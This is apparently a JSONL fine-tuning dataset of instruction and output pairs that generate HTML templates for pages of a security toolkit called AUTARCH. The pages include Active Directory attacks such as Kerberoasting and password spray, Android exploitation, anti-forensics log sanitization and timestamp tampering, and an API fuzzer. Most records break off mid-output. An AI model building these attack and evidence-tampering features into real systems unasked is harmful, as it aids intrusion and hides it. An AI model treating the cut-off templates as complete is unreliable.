{"instruction": "Create an AUTARCH web template for the 'Ad Audit' page. It should extend base.html, have a page header, and use AUTARCH's CSS variables and UI patterns (sections, tab bars, data tables, buttons).", "input": "Template: ad_audit.html\nSections: 12\nTabs: 3\nForms/API calls: 0\nHas JavaScript: True", "output": "{% extends \"base.html\" %}\n{% block title %}AUTARCH — AD Audit{% endblock %}\n\n{% block content %}\n<div class=\"page-header\">\n <h1>Active Directory Audit</h1>\n <p style=\"margin:0;font-size:0.85rem;color:var(--text-secondary)\">\n LDAP enumeration, Kerberoasting, AS-REP roasting, ACL analysis, BloodHound collection, and password spray.\n </p>\n</div>\n\n<!-- Connection Panel (always visible) -->\n<div class=\"section\" id=\"ad-conn-panel\">\n <h2>Connection\n <span id=\"ad-conn-badge\" class=\"badge\" style=\"margin-left:8px;font-size:0.75rem;vertical-align:middle\">Disconnected</span>\n </h2>\n <div class=\"form-row\">\n <div class=\"form-group\">\n <label>DC Host / IP</label>\n <input type=\"text\" id=\"ad-host\" placeholder=\"192.168.1.10 or dc01.corp.local\">\n </div>\n <div class=\"form-group\">\n <label>Domain</label>\n <input type=\"text\" id=\"ad-domain\" placeholder=\"corp.local\">\n </div>\n <div class=\"form-group\">\n <label>Username</label>\n <input type=\"text\" id=\"ad-user\" placeholder=\"admin (blank = anonymous)\">\n </div>\n <div class=\"form-group\">\n <label>Password</label>\n <input type=\"password\" id=\"ad-pass\" placeholder=\"Password\">\n </div>\n <div class=\"form-group\" style=\"max-width:80px;display:flex;flex-direction:column;justify-content:flex-end\">\n <label><input type=\"checkbox\" id=\"ad-ssl\"> SSL</label>\n </div>\n </div>\n <div class=\"tool-actions\">\n <button id=\"btn-ad-connect\" class=\"btn btn-primary btn-small\" onclick=\"adConnect()\">Connect</button>\n <button id=\"btn-ad-disconnect\" class=\"btn btn-danger btn-small\" onclick=\"adDisconnect()\" disabled>Disconnect</button>\n </div>\n <div id=\"ad-conn-info\" style=\"margin-top:8px;font-size:0.8rem;color:var(--text-muted)\"></div>\n</div>\n\n<!-- Tab Bar -->\n<div class=\"tab-bar\">\n <button class=\"tab active\" data-tab-group=\"ad\" data-tab=\"enumerate\" onclick=\"showTab('ad','enumerate')\">Enumerate</button>\n <button class=\"tab\" data-tab-group=\"ad\" data-tab=\"attack\" onclick=\"showTab('ad','attack')\">Attack</button>\n <button class=\"tab\" data-tab-group=\"ad\" data-tab=\"acls\" onclick=\"showTab('ad','acls')\">ACLs</button>\n <button class=\"tab\" data-tab-group=\"ad\" data-tab=\"bloodhound\" onclick=\"showTab('ad','bloodhound')\">BloodHound</button>\n</div>\n\n<!-- ==================== ENUMERATE TAB ==================== -->\n<div class=\"tab-content active\" data-tab-group=\"ad\" data-tab=\"enumerate\">\n\n<div class=\"section\">\n <h2>Enumeration</h2>\n <div class=\"tool-actions\" style=\"flex-wrap:wrap;gap:6px\">\n <button id=\"btn-ad-users\" class=\"btn btn-primary btn-small\" onclick=\"adEnumUsers()\">Users</button>\n <button id=\"btn-ad-groups\" class=\"btn btn-primary btn-small\" onclick=\"adEnumGroups()\">Groups</button>\n <button id=\"btn-ad-computers\" class=\"btn btn-primary btn-small\" onclick=\"adEnumComputers()\">Computers</button>\n <button id=\"btn-ad-ous\" class=\"btn btn-small\" onclick=\"adEnumOUs()\">OUs</button>\n <button id=\"btn-ad-gpos\" class=\"btn btn-small\" onclick=\"adEnumGPOs()\">GPOs</button>\n <button id=\"btn-ad-trusts\" class=\"btn btn-small\" onclick=\"adEnumTrusts()\">Trusts</button>\n <button id=\"btn-ad-dcs\" class=\"btn btn-small\" onclick=\"adEnumDCs()\">Domain Controllers</button>\n </div>\n</div>\n\n<!-- Enum results area -->\n<div class=\"section\" id=\"ad-enum-section\" style=\"display:none\">\n <h2 id=\"ad-enum-title\">Results</h2>\n <p id
|
|||
|
|
{"instruction": "Create an AUTARCH web template for the 'Analyze' page. It should extend base.html, have a page header, and use AUTARCH's CSS variables and UI patterns (sections, tab bars, data tables, buttons).", "input": "Template: analyze.html\nSections: 7\nTabs: 0\nForms/API calls: 0\nHas JavaScript: False", "output": "{% extends \"base.html\" %}\n{% block title %}Analysis & Forensics - AUTARCH{% endblock %}\n\n{% block content %}\n<div class=\"page-header\">\n <h1>Analysis & Forensics</h1>\n</div>\n\n<!-- File Analysis -->\n<div class=\"section\">\n <h2>File Analysis</h2>\n <div class=\"input-row\">\n <input type=\"text\" id=\"analyze-filepath\" placeholder=\"File path (e.g., /usr/bin/ls)\">\n <button id=\"btn-analyze-file\" class=\"btn btn-primary\" onclick=\"analyzeFile()\">Analyze</button>\n </div>\n <pre class=\"output-panel scrollable\" id=\"file-output\"></pre>\n</div>\n\n<!-- String Extraction -->\n<div class=\"section\">\n <h2>String Extraction</h2>\n <div class=\"input-row\">\n <input type=\"text\" id=\"strings-filepath\" placeholder=\"File path\">\n <input type=\"number\" id=\"strings-minlen\" value=\"4\" min=\"2\" max=\"20\" style=\"max-width:80px\" title=\"Min string length\">\n <button id=\"btn-strings\" class=\"btn btn-primary\" onclick=\"extractStrings()\">Extract</button>\n </div>\n <pre class=\"output-panel scrollable\" id=\"strings-output\"></pre>\n</div>\n\n<!-- Hash Lookup -->\n<div class=\"section\">\n <h2>Hash Lookup</h2>\n <div class=\"input-row\">\n <input type=\"text\" id=\"hash-input\" placeholder=\"MD5, SHA1, or SHA256 hash\">\n <button class=\"btn btn-primary\" onclick=\"hashLookup()\">Lookup</button>\n </div>\n <pre class=\"output-panel\" id=\"hash-output\"></pre>\n</div>\n\n<!-- Log Analysis -->\n<div class=\"section\">\n <h2>Log Analysis</h2>\n <p style=\"font-size:0.8rem;color:var(--text-muted);margin-bottom:8px\">Common logs: /var/log/auth.log, /var/log/syslog, /var/log/apache2/access.log</p>\n <div class=\"input-row\">\n <input type=\"text\" id=\"log-filepath\" placeholder=\"Log file path\">\n <button id=\"btn-analyze-log\" class=\"btn btn-primary\" onclick=\"analyzeLog()\">Analyze</button>\n </div>\n <pre class=\"output-panel scrollable\" id=\"log-analyze-output\"></pre>\n</div>\n\n<!-- Hex Dump -->\n<div class=\"section\">\n <h2>Hex Dump</h2>\n <div class=\"input-row\">\n <input type=\"text\" id=\"hex-filepath\" placeholder=\"File path\">\n <input type=\"number\" id=\"hex-offset\" value=\"0\" min=\"0\" style=\"max-width:100px\" title=\"Offset\">\n <input type=\"number\" id=\"hex-length\" value=\"256\" min=\"1\" max=\"4096\" style=\"max-width:100px\" title=\"Length\">\n <button id=\"btn-hex\" class=\"btn btn-primary\" onclick=\"hexDump()\">Dump</button>\n </div>\n <pre class=\"output-panel scrollable\" id=\"hex-output\"></pre>\n</div>\n\n<!-- File Compare -->\n<div class=\"section\">\n <h2>File Compare</h2>\n <div class=\"input-row\">\n <input type=\"text\" id=\"compare-file1\" placeholder=\"File 1 path\">\n <input type=\"text\" id=\"compare-file2\" placeholder=\"File 2 path\">\n <button id=\"btn-compare\" class=\"btn btn-primary\" onclick=\"compareFiles()\">Compare</button>\n </div>\n <pre class=\"output-panel scrollable\" id=\"compare-output\"></pre>\n</div>\n\n{% if modules %}\n<div class=\"section\">\n <h2>Analyze Modules</h2>\n <ul class=\"module-list\">\n {% for name, info in modules.items() %}\n <li class=\"module-item\">\n <div>\n <div class=\"module-name\">{{ name }}</div>\n <div class=\"module-desc\">{{ info.description }}</div>\n </div>\n <div class=\"module-meta\">v{{ info.version }}</div>\n </li>\n {% endfor %}\n </ul>\n</div>\n{% endif %}\n{% endblock %}\n", "type": "template_creation", "source_file": "web/templates/analyze.html"}
|
|||
|
|
{"instruction": "Create an AUTARCH web template for the 'Android Exploit' page. It should extend base.html, have a page header, and use AUTARCH's CSS variables and UI patterns (sections, tab bars, data tables, buttons).", "input": "Template: android_exploit.html\nSections: 0\nTabs: 0\nForms/API calls: 7\nHas JavaScript: True", "output": "{% extends \"base.html\" %}\n{% block title %}Android Exploit - AUTARCH{% endblock %}\n\n{% block content %}\n<div class=\"page-header\">\n <h1>Android Exploitation</h1>\n</div>\n\n<!-- Status Cards -->\n<div class=\"stats-grid\" style=\"grid-template-columns:repeat(auto-fit,minmax(140px,1fr))\">\n <div class=\"stat-card\">\n <div class=\"stat-label\">ADB</div>\n <div class=\"stat-value small\">\n <span class=\"status-dot {{ 'active' if status.adb else 'inactive' }}\"></span>\n {{ 'Ready' if status.adb else 'N/A' }}\n </div>\n </div>\n <div class=\"stat-card\">\n <div class=\"stat-label\">Fastboot</div>\n <div class=\"stat-value small\">\n <span class=\"status-dot {{ 'active' if status.fastboot else 'inactive' }}\"></span>\n {{ 'Ready' if status.fastboot else 'N/A' }}\n </div>\n </div>\n <div class=\"stat-card\" id=\"card-devices\">\n <div class=\"stat-label\">Devices</div>\n <div class=\"stat-value small\" id=\"device-count\">--</div>\n </div>\n <div class=\"stat-card\" id=\"card-root\">\n <div class=\"stat-label\">Root</div>\n <div class=\"stat-value small\" id=\"root-status\">--</div>\n </div>\n</div>\n\n<!-- ADB Connection Mode -->\n<div class=\"card\" style=\"margin:0.5rem 0 0.5rem 0;padding:0.6rem 1rem;display:flex;align-items:center;gap:0.6rem;flex-wrap:wrap\">\n <span style=\"font-weight:600;font-size:0.85rem;color:var(--text-secondary)\">ADB Mode:</span>\n <button id=\"ae-mode-server\" class=\"btn btn-sm active\" onclick=\"aeSetMode('server')\">Server (Local ADB)</button>\n <button id=\"ae-mode-direct\" class=\"btn btn-sm\" onclick=\"aeSetMode('direct')\">Direct (WebUSB)</button>\n <span id=\"ae-direct-bar\" style=\"display:none;align-items:center;gap:0.5rem\">\n <span id=\"ae-device-label\" style=\"font-size:0.85rem;color:var(--text-secondary)\">Not connected</span>\n <button class=\"btn btn-sm\" onclick=\"aeDirectConnect()\">Connect</button>\n <button class=\"btn btn-sm btn-danger\" id=\"ae-disconnect-btn\" style=\"display:none\" onclick=\"aeDirectDisconnect()\">Disconnect</button>\n </span>\n <span id=\"ae-webusb-warning\" style=\"display:none;color:#f97316;font-size:0.8rem;margin-left:0.5rem\"></span>\n</div>\n\n<!-- Device Selector (server mode) -->\n<div id=\"ae-server-selector\" class=\"card\" style=\"margin:0.5rem 0 1rem 0;padding:0.8rem 1rem;display:flex;align-items:center;gap:0.8rem;flex-wrap:wrap\">\n <label style=\"font-weight:600\">Device:</label>\n <select id=\"device-select\" style=\"flex:1;min-width:200px;padding:0.4rem;background:var(--bg-secondary);color:var(--text-primary);border:1px solid var(--border-color);border-radius:4px\">\n <option value=\"\">-- Select --</option>\n </select>\n <button class=\"btn btn-sm\" onclick=\"refreshDevices()\">Refresh</button>\n</div>\n\n<!-- Tabs -->\n<div class=\"tabs\" style=\"display:flex;gap:0;border-bottom:2px solid var(--border-color);margin-bottom:1rem\">\n <button class=\"tab-btn active\" data-tab=\"apps\" onclick=\"switchTab('apps',this)\">Apps</button>\n <button class=\"tab-btn\" data-tab=\"recon\" onclick=\"switchTab('recon',this)\">Recon</button>\n <button class=\"tab-btn\" data-tab=\"payloads\" onclick=\"switchTab('payloads',this)\">Payloads</button>\n <button class=\"tab-btn\" data-tab=\"boot\" onclick=\"switchTab('boot',this)\">Boot</button>\n <button class=\"tab-btn\" data-tab=\"root\" onclick=\"switchTab('root',this)\">Root</button>\n <button class=\"tab-btn\" data-tab=\"sms\" onclick=\"switchTab('sms',this)\">SMS/RCS</button>\n <button class=\"tab-btn\" data-tab=\"screen\" onclick=\"switchTab
|
|||
|
|
{"instruction": "Create an AUTARCH web template for the 'Android Protect' page. It should extend base.html, have a page header, and use AUTARCH's CSS variables and UI patterns (sections, tab bars, data tables, buttons).", "input": "Template: android_protect.html\nSections: 20\nTabs: 4\nForms/API calls: 6\nHas JavaScript: True", "output": "{% extends \"base.html\" %}\n{% block title %}Android Shield - AUTARCH{% endblock %}\n\n{% block content %}\n<div class=\"page-header\">\n <h1>Android Protection Shield</h1>\n</div>\n\n<!-- Status Cards -->\n<div class=\"stats-grid\" style=\"grid-template-columns:repeat(auto-fit,minmax(140px,1fr))\">\n <div class=\"stat-card\">\n <div class=\"stat-label\">ADB</div>\n <div class=\"stat-value small\">\n <span class=\"status-dot {{ 'active' if status.adb else 'inactive' }}\"></span>\n {{ 'Available' if status.adb else 'Not found' }}\n </div>\n </div>\n <div class=\"stat-card\">\n <div class=\"stat-label\">Device</div>\n <div class=\"stat-value small\">\n <span id=\"ap-dev-dot\" class=\"status-dot inactive\"></span>\n <span id=\"ap-dev-text\">No device</span>\n </div>\n </div>\n <div class=\"stat-card\">\n <div class=\"stat-label\">Signatures</div>\n <div class=\"stat-value small\">\n {{ sig_stats.stalkerware_packages }} packages\n </div>\n </div>\n <div class=\"stat-card\">\n <div class=\"stat-label\">Gov Spyware</div>\n <div class=\"stat-value small\">\n {{ sig_stats.government_spyware }} families\n </div>\n </div>\n</div>\n\n<!-- ADB Connection Mode -->\n<div class=\"card\" style=\"margin:0.5rem 0 0.5rem 0;padding:0.6rem 1rem;display:flex;align-items:center;gap:0.6rem;flex-wrap:wrap\">\n <span style=\"font-weight:600;font-size:0.85rem;color:var(--text-secondary)\">ADB Mode:</span>\n <button id=\"ap-mode-server\" class=\"btn btn-sm active\" onclick=\"apSetMode('server')\">Server (Local ADB)</button>\n <button id=\"ap-mode-direct\" class=\"btn btn-sm\" onclick=\"apSetMode('direct')\">Direct (WebUSB)</button>\n <span id=\"ap-direct-bar\" style=\"display:none;align-items:center;gap:0.5rem\">\n <span id=\"ap-device-label\" style=\"font-size:0.85rem;color:var(--text-secondary)\">Not connected</span>\n <button class=\"btn btn-sm\" onclick=\"apDirectConnect()\">Connect</button>\n <button class=\"btn btn-sm btn-danger\" id=\"ap-disconnect-btn\" style=\"display:none\" onclick=\"apDirectDisconnect()\">Disconnect</button>\n </span>\n <span id=\"ap-webusb-warning\" style=\"display:none;color:#f97316;font-size:0.8rem;margin-left:0.5rem\"></span>\n</div>\n\n<!-- Device Selector (server mode) -->\n<div id=\"ap-server-selector\" class=\"card\" style=\"margin:0.5rem 0 1rem 0;padding:0.8rem 1rem;display:flex;align-items:center;gap:0.8rem;flex-wrap:wrap\">\n <label style=\"font-weight:600\">Device:</label>\n <select id=\"ap-device\" style=\"flex:1;min-width:200px;padding:0.4rem;background:var(--bg-secondary);color:var(--text-primary);border:1px solid var(--border-color);border-radius:4px\" onchange=\"apDeviceChanged()\">\n <option value=\"\">-- Select --</option>\n </select>\n <button class=\"btn btn-sm\" onclick=\"apRefreshDevices()\">Refresh</button>\n <span id=\"ap-scan-status\" style=\"margin-left:auto;font-size:0.85em;color:var(--text-muted)\"></span>\n</div>\n\n<!-- Tabs -->\n<div class=\"tab-bar\">\n <button class=\"tab active\" data-tab-group=\"ap-main\" data-tab=\"scan\" onclick=\"showTab('ap-main','scan')\">Scan</button>\n <button class=\"tab\" data-tab-group=\"ap-main\" data-tab=\"perms\" onclick=\"showTab('ap-main','perms')\">Permissions</button>\n <button class=\"tab\" data-tab-group=\"ap-main\" data-tab=\"remediate\" onclick=\"showTab('ap-main','remediate')\">Remediate</button>\n <button class=\"tab\" data-tab-group=\"ap-main\" data-tab=\"shizuku\" onclick=\"showTab('ap-main','shizuku')\">Shizuku</button>\n <button class=\"tab\" data-tab-group=
|
|||
|
|
{"instruction": "Create an AUTARCH web template for the 'Anti Forensics' page. It should extend base.html, have a page header, and use AUTARCH's CSS variables and UI patterns (sections, tab bars, data tables, buttons).", "input": "Template: anti_forensics.html\nSections: 10\nTabs: 2\nForms/API calls: 0\nHas JavaScript: True", "output": "{% extends \"base.html\" %}\n{% block title %}AUTARCH — Anti-Forensics{% endblock %}\n\n{% block content %}\n<div class=\"page-header\">\n <h1>Anti-Forensics</h1>\n <p style=\"margin:0;font-size:0.85rem;color:var(--text-secondary)\">\n Secure deletion, timestamp manipulation, and log sanitization.\n </p>\n</div>\n\n<!-- Tab Bar -->\n<div class=\"tab-bar\">\n <button class=\"tab active\" data-tab-group=\"af\" data-tab=\"delete\" onclick=\"showTab('af','delete')\">Secure Delete</button>\n <button class=\"tab\" data-tab-group=\"af\" data-tab=\"timestamps\" onclick=\"showTab('af','timestamps')\">Timestamps</button>\n <button class=\"tab\" data-tab-group=\"af\" data-tab=\"logs\" onclick=\"showTab('af','logs')\">Logs</button>\n</div>\n\n<!-- ==================== SECURE DELETE TAB ==================== -->\n<div class=\"tab-content active\" data-tab-group=\"af\" data-tab=\"delete\">\n\n<div class=\"section\">\n <h2>Secure Delete File</h2>\n <p style=\"font-size:0.8rem;color:var(--text-muted);margin-bottom:8px\">\n Overwrite and delete a file so it cannot be recovered by forensic tools.\n </p>\n <div class=\"form-row\" style=\"margin-bottom:8px\">\n <div class=\"form-group\" style=\"flex:2\">\n <label>File Path</label>\n <input type=\"text\" id=\"af-del-file\" placeholder=\"/path/to/file\">\n </div>\n <div class=\"form-group\">\n <label>Overwrite Passes</label>\n <input type=\"number\" id=\"af-del-passes\" value=\"3\" min=\"1\" max=\"35\">\n </div>\n <div class=\"form-group\">\n <label>Method</label>\n <select id=\"af-del-method\">\n <option value=\"zeros\">Zero fill</option>\n <option value=\"random\" selected>Random data</option>\n <option value=\"dod\">DoD 5220.22-M (3-pass)</option>\n <option value=\"gutmann\">Gutmann (35-pass)</option>\n </select>\n </div>\n </div>\n <div class=\"tool-actions\" style=\"margin-bottom:12px\">\n <button id=\"btn-af-del-file\" class=\"btn btn-danger\" onclick=\"afDeleteFile()\">Secure Delete File</button>\n </div>\n <pre class=\"output-panel\" id=\"af-del-file-output\" style=\"min-height:0\"></pre>\n</div>\n\n<div class=\"section\">\n <h2>Secure Delete Directory</h2>\n <p style=\"font-size:0.8rem;color:var(--text-muted);margin-bottom:8px\">\n Recursively overwrite and delete all files in a directory.\n </p>\n <div class=\"form-row\" style=\"margin-bottom:8px\">\n <div class=\"form-group\" style=\"flex:2\">\n <label>Directory Path</label>\n <input type=\"text\" id=\"af-del-dir\" placeholder=\"/path/to/directory\">\n </div>\n </div>\n <div style=\"margin-bottom:12px\">\n <label style=\"font-size:0.85rem;color:var(--text-primary);cursor:pointer\">\n <input type=\"checkbox\" id=\"af-del-dir-confirm\" style=\"margin-right:4px\"> I confirm this directory should be permanently destroyed\n </label>\n </div>\n <div class=\"tool-actions\" style=\"margin-bottom:12px\">\n <button id=\"btn-af-del-dir\" class=\"btn btn-danger\" onclick=\"afDeleteDir()\">Secure Delete Directory</button>\n </div>\n <pre class=\"output-panel\" id=\"af-del-dir-output\" style=\"min-height:0\"></pre>\n</div>\n\n<div class=\"section\">\n <h2>Wipe Free Space</h2>\n <p style=\"font-size:0.8rem;color:var(--text-muted);margin-bottom:8px\">\n Overwrite all free space on a mount point to prevent recovery of previously deleted files.\n </p>\n <div class=\"input-row\">\n <input type=\"text\" id=\"af-wipe-mount\" placeholder=\"Mount point (
|
|||
|
|
{"instruction": "Create an AUTARCH web template for the 'Api Fuzzer' page. It should extend base.html, have a page header, and use AUTARCH's CSS variables and UI patterns (sections, tab bars, data tables, buttons).", "input": "Template: api_fuzzer.html\nSections: 10\nTabs: 2\nForms/API calls: 0\nHas JavaScript: True", "output": "{% extends \"base.html\" %}\n{% block title %}AUTARCH — API Fuzzer{% endblock %}\n{% block content %}\n<div class=\"page-header\">\n <h1>API Fuzzer</h1>\n <p style=\"margin:0;font-size:0.85rem;color:var(--text-secondary)\">\n Discover endpoints, fuzz parameters, and detect API vulnerabilities.\n </p>\n</div>\n\n<!-- Tab Bar -->\n<div class=\"tab-bar\">\n <button class=\"tab active\" data-tab-group=\"apifuzz\" data-tab=\"endpoints\" onclick=\"showTab('apifuzz','endpoints')\">Endpoints</button>\n <button class=\"tab\" data-tab-group=\"apifuzz\" data-tab=\"fuzzer\" onclick=\"showTab('apifuzz','fuzzer')\">Fuzzer</button>\n <button class=\"tab\" data-tab-group=\"apifuzz\" data-tab=\"results\" onclick=\"showTab('apifuzz','results')\">Results</button>\n</div>\n\n<!-- ══ Endpoints Tab ══ -->\n<div class=\"tab-content active\" data-tab-group=\"apifuzz\" data-tab=\"endpoints\">\n\n <!-- Discover Endpoints -->\n <div class=\"section\">\n <h2>Discover Endpoints</h2>\n <div class=\"form-row\">\n <div class=\"form-group\" style=\"flex:2\">\n <label>Base URL</label>\n <input type=\"text\" id=\"af-discover-url\" placeholder=\"https://api.example.com\">\n </div>\n </div>\n <div class=\"tool-actions\">\n <button id=\"btn-af-discover\" class=\"btn btn-primary\" onclick=\"afDiscover()\">Discover</button>\n </div>\n <div id=\"af-discover-status\" class=\"progress-text\"></div>\n </div>\n\n <!-- OpenAPI Spec Parser -->\n <div class=\"section\">\n <h2>OpenAPI / Swagger Parser</h2>\n <div class=\"form-row\">\n <div class=\"form-group\" style=\"flex:2\">\n <label>OpenAPI Spec URL</label>\n <input type=\"text\" id=\"af-openapi-url\" placeholder=\"https://api.example.com/openapi.json\">\n </div>\n </div>\n <div class=\"tool-actions\">\n <button id=\"btn-af-openapi\" class=\"btn btn-primary\" onclick=\"afParseOpenAPI()\">Parse Spec</button>\n </div>\n <div id=\"af-openapi-status\" class=\"progress-text\"></div>\n </div>\n\n <!-- Discovered Endpoints Table -->\n <div class=\"section\">\n <h2>Discovered Endpoints</h2>\n <div class=\"tool-actions\">\n <button class=\"btn btn-small\" onclick=\"afClearEndpoints()\">Clear</button>\n <button class=\"btn btn-small\" onclick=\"afExportEndpoints()\">Export JSON</button>\n </div>\n <table class=\"data-table\">\n <thead>\n <tr>\n <th>Path</th>\n <th>Status</th>\n <th>Methods</th>\n <th>Content Type</th>\n </tr>\n </thead>\n <tbody id=\"af-endpoints-body\">\n <tr><td colspan=\"4\" class=\"empty-state\">No endpoints discovered yet. Run discovery or parse an OpenAPI spec.</td></tr>\n </tbody>\n </table>\n </div>\n</div>\n\n<!-- ══ Fuzzer Tab ══ -->\n<div class=\"tab-content\" data-tab-group=\"apifuzz\" data-tab=\"fuzzer\">\n\n <!-- Target Config -->\n <div class=\"section\">\n <h2>Fuzz Target</h2>\n <div class=\"form-row\">\n <div class=\"form-group\" style=\"flex:2\">\n <label>Target URL</label>\n <input type=\"text\" id=\"af-fuzz-url\" placeholder=\"https://api.example.com/users\">\n </div>\n <div class=\"form-group\">\n <label>Method</label>\n <select id=\"af-fuzz-method\">\n <option value=\"GET\">GET</option>\n <option value=\"POST\" selected>
|
|||
|
|
{"instruction": "Create an AUTARCH web template for the 'Archon' page. It should extend base.html, have a page header, and use AUTARCH's CSS variables and UI patterns (sections, tab bars, data tables, buttons).", "input": "Template: archon.html\nSections: 6\nTabs: 5\nForms/API calls: 0\nHas JavaScript: True", "output": "{% extends \"base.html\" %}\n{% block title %}Archon - AUTARCH{% endblock %}\n\n{% block content %}\n<div class=\"page-header\">\n <h1>Archon Server</h1>\n <p class=\"text-muted\">Privileged Android device management (UID 2000 / shell)</p>\n</div>\n\n<!-- Status -->\n<div class=\"stats-grid\" style=\"grid-template-columns:repeat(auto-fit,minmax(160px,1fr))\">\n <div class=\"stat-card\">\n <div class=\"stat-label\">Device</div>\n <div class=\"stat-value small\">\n <span id=\"archon-device-dot\" class=\"status-dot inactive\"></span>\n <span id=\"archon-device-text\">Checking...</span>\n </div>\n </div>\n <div class=\"stat-card\">\n <div class=\"stat-label\">ArchonServer</div>\n <div class=\"stat-value small\">\n <span id=\"archon-server-dot\" class=\"status-dot inactive\"></span>\n <span id=\"archon-server-text\">Unknown</span>\n </div>\n </div>\n <div class=\"stat-card\">\n <div class=\"stat-label\">Privilege Level</div>\n <div class=\"stat-value small\" id=\"archon-privilege\">Shell (UID 2000)</div>\n </div>\n</div>\n\n<!-- Tabs -->\n<div class=\"tab-bar\">\n <button class=\"tab active\" data-tab-group=\"archon\" data-tab=\"shell\" onclick=\"showTab('archon','shell')\">Shell</button>\n <button class=\"tab\" data-tab-group=\"archon\" data-tab=\"files\" onclick=\"showTab('archon','files')\">Files</button>\n <button class=\"tab\" data-tab-group=\"archon\" data-tab=\"packages\" onclick=\"showTab('archon','packages')\">Packages</button>\n <button class=\"tab\" data-tab-group=\"archon\" data-tab=\"permissions\" onclick=\"showTab('archon','permissions')\">Permissions</button>\n <button class=\"tab\" data-tab-group=\"archon\" data-tab=\"settings\" onclick=\"showTab('archon','settings')\">Settings DB</button>\n <button class=\"tab\" data-tab-group=\"archon\" data-tab=\"bootstrap\" onclick=\"showTab('archon','bootstrap')\">Bootstrap</button>\n</div>\n\n<!-- ══ Shell Tab ══ -->\n<div class=\"tab-content active\" data-tab-group=\"archon\" data-tab=\"shell\">\n <div class=\"section\">\n <h2>Privileged Shell</h2>\n <p class=\"text-muted\">Commands run as shell (UID 2000) via ADB — same as Shizuku privilege level.</p>\n <div class=\"input-row\">\n <input type=\"text\" id=\"archon-shell-cmd\" placeholder=\"pm list packages -3 | head -20\" onkeydown=\"if(event.key==='Enter')archonShell()\">\n <button class=\"btn btn-primary\" onclick=\"archonShell()\">Run</button>\n </div>\n <div class=\"tool-actions\" style=\"margin:8px 0\">\n <button class=\"btn btn-small\" onclick=\"archonQuick('id')\">whoami</button>\n <button class=\"btn btn-small\" onclick=\"archonQuick('getprop ro.build.display.id')\">Build</button>\n <button class=\"btn btn-small\" onclick=\"archonQuick('dumpsys battery')\">Battery</button>\n <button class=\"btn btn-small\" onclick=\"archonQuick('pm list packages -3')\">User Apps</button>\n <button class=\"btn btn-small\" onclick=\"archonQuick('dumpsys device_policy')\">Device Admin</button>\n <button class=\"btn btn-small\" onclick=\"archonQuick('dumpsys notification --noredact')\">Notifications</button>\n <button class=\"btn btn-small\" onclick=\"archonQuick('settings list secure')\">Secure Settings</button>\n <button class=\"btn btn-small\" onclick=\"archonQuick('cmd connectivity airplane-mode')\">Airplane</button>\n </div>\n <div id=\"archon-shell-output\" class=\"output-panel scrollable\" style=\"max-height:500px;overflow-y:auto;white-space:pre-wrap;word-wrap:break-word\"></div>\n </div>\n</div>\n
|
|||
|
|
{"instruction": "Create an AUTARCH web template for the 'Autonomy' page. It should extend base.html, have a page header, and use AUTARCH's CSS variables and UI patterns (sections, tab bars, data tables, buttons).", "input": "Template: autonomy.html\nSections: 2\nTabs: 0\nForms/API calls: 14\nHas JavaScript: True", "output": "{% extends \"base.html\" %}\n{% block title %}Autonomy - AUTARCH{% endblock %}\n\n{% block content %}\n<div class=\"page-header\">\n <h1 style=\"color:var(--accent)\">Autonomy</h1>\n <p style=\"margin:0;font-size:0.85rem;color:var(--text-secondary)\">\n Multi-model autonomous threat response — SLM / SAM / LAM\n </p>\n</div>\n\n<!-- Tab Navigation -->\n<div style=\"display:flex;gap:0;border-bottom:2px solid var(--border);margin-bottom:1.5rem\">\n <button class=\"auto-tab active\" onclick=\"autoTab('dashboard')\" id=\"tab-dashboard\">Dashboard</button>\n <button class=\"auto-tab\" onclick=\"autoTab('rules')\" id=\"tab-rules\">Rules</button>\n <button class=\"auto-tab\" onclick=\"autoTab('activity')\" id=\"tab-activity\">Activity Log</button>\n <button class=\"auto-tab\" onclick=\"autoTab('models')\" id=\"tab-models\">Models</button>\n</div>\n\n<!-- ==================== DASHBOARD TAB ==================== -->\n<div id=\"panel-dashboard\" class=\"auto-panel\">\n <!-- Controls -->\n <div class=\"section\">\n <div style=\"display:flex;align-items:center;gap:1rem;flex-wrap:wrap\">\n <div id=\"daemon-status-badge\" style=\"padding:6px 16px;border-radius:20px;font-size:0.8rem;font-weight:600;background:var(--bg-input);border:1px solid var(--border)\">\n STOPPED\n </div>\n <button class=\"btn btn-primary\" onclick=\"autoStart()\" id=\"btn-start\">Start</button>\n <button class=\"btn btn-danger\" onclick=\"autoStop()\" id=\"btn-stop\" disabled>Stop</button>\n <button class=\"btn\" onclick=\"autoPause()\" id=\"btn-pause\" disabled style=\"background:var(--bg-input);border:1px solid var(--border)\">Pause</button>\n <button class=\"btn\" onclick=\"autoResume()\" id=\"btn-resume\" disabled style=\"background:var(--bg-input);border:1px solid var(--border)\">Resume</button>\n </div>\n </div>\n\n <!-- Stats Cards -->\n <div style=\"display:grid;grid-template-columns:repeat(auto-fit,minmax(200px,1fr));gap:1rem;margin-bottom:1.5rem\">\n <div class=\"tool-card\" style=\"text-align:center\">\n <div style=\"font-size:2rem;font-weight:700;color:var(--accent)\" id=\"stat-agents\">0</div>\n <div style=\"font-size:0.8rem;color:var(--text-secondary)\">Active Agents</div>\n </div>\n <div class=\"tool-card\" style=\"text-align:center\">\n <div style=\"font-size:2rem;font-weight:700;color:var(--success)\" id=\"stat-rules\">0</div>\n <div style=\"font-size:0.8rem;color:var(--text-secondary)\">Rules</div>\n </div>\n <div class=\"tool-card\" style=\"text-align:center\">\n <div style=\"font-size:2rem;font-weight:700;color:var(--warning)\" id=\"stat-activity\">0</div>\n <div style=\"font-size:0.8rem;color:var(--text-secondary)\">Activity Entries</div>\n </div>\n </div>\n\n <!-- Model Tier Cards -->\n <div class=\"section\">\n <h2>Model Tiers</h2>\n <div style=\"display:grid;grid-template-columns:repeat(auto-fit,minmax(280px,1fr));gap:1rem\">\n <div class=\"tool-card\" id=\"card-slm\">\n <div style=\"display:flex;justify-content:space-between;align-items:center\">\n <h4>SLM <span style=\"font-size:0.7rem;color:var(--text-muted);font-weight:400\">Small Language Model</span></h4>\n <span class=\"tier-dot\" id=\"dot-slm\"></span>\n </div>\n <p style=\"font-size:0.8rem;color:var(--text-secondary);margin:0.5rem 0\">Fast classification, routing, yes/no decisions</p>\n <div style=\"font-size:0.75rem;color:var(--text-muted)\" id=\"slm-model\">No model configured</div>\n
|
|||
|
|
